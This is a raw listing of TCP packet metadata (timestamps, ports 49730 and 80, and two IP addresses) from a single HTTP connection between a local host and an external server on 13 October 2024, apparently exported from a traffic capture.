Oct 13, 2024 11:54:05.717427969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717439890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717505932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717509985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717555046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717569113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717612982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717624903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717686892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717691898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717757940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717777014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717823982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717829943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717894077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717904091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.717957973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.717969894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718007088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718009949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718070030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718075037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718126059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718137980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718184948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718195915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718235016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718236923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718285084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718287945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718329906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718342066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718383074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718394995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718444109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718456030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718489885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718496084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718538046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718539953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718589067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718597889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718642950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718657017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718709946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718720913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718761921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718821049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718872070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718878031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718930006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.718946934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718946934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718946934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718977928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.718981981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719036102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719141960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719189882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719199896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719237089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719239950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719288111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719290018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719333887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719335079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719398022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719408989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719459057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719465971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719506979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719507933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719553947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719557047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719604969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719610929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719655037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719655991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719705105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719710112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719758034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719762087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719805002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719805002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719854116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719901085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719933033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.719952106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.719980955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720004082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720052958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720098972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720099926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720138073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720146894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720190048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720196009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720213890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720244884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720247984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720293999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720295906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720343113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720350027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720391035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720437050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720438957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720465899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720489025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720493078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720540047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720546007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720590115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720592022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720642090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720654964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720690966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720699072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720741987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720761061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720788956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720796108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720839024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720845938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720886946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720890999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720935106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720942020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.720982075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.720985889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.721030951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.721031904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.721077919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.721084118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.721134901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.721142054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.721179008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.721184015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.721230984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754149914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754245996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754328966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754359961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754359961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754404068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754455090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754502058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754533052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754533052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754533052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754548073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754573107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754621983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754637957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754669905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754688025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754736900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754743099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754782915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754787922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754834890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754839897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754884005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754884958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.754987955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.754991055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755036116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755044937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755086899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755103111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755136013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755136013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755188942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755222082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755240917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755244017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755295992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755322933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755341053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755345106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755402088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755424023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755471945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755475044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755522013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755554914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755573988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755573988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755625963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755628109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755675077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755676031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755726099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755729914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755775928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755798101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755825996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755856037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755880117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755880117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755927086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755928040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.755976915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.755980968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.756028891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.756030083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.756078959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.756083012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.756127119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.756129026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.756175041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.756175995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.756225109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.756226063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.756289005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.772437096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.772511959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.772536993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.772567987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.772619009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.772669077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.772716045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.772747993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.772747993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.772747993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.772747993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.772767067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.772772074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.772833109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.809501886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.809600115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.809653044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.809701920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.809732914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.809732914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.809732914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.809772968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.809839964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.809889078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.809922934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.809923887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.809923887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.809932947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.809938908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810003996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810009003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810074091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810094118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810120106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810127020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810169935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810179949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810218096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810220957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810271978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810286045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810336113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810336113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810380936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810384989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810435057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810439110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810487986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810491085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810535908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810538054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810586929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810594082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810636044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810653925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810709000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810720921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810769081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810772896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810815096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810818911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810868025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810883045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810930014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810937881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.810976982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.810982943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811022997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811024904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811074018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811074018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811124086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811125994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811176062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811186075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811224937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811225891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811286926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811295033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811338902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811366081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811399937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811410904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811471939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811477900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811542988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811552048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811595917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811598063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811646938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811656952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811696053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811698914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811742067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811769962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811790943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811795950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811841965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811842918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811898947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.811912060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811966896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.811973095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812017918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812017918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812072039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812077999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812107086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812144995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812155962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812169075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812217951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812220097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812272072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812273979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812320948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:05.812325001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:05.812367916 CEST	49730	80	192.168.2.4	185.215.113.37
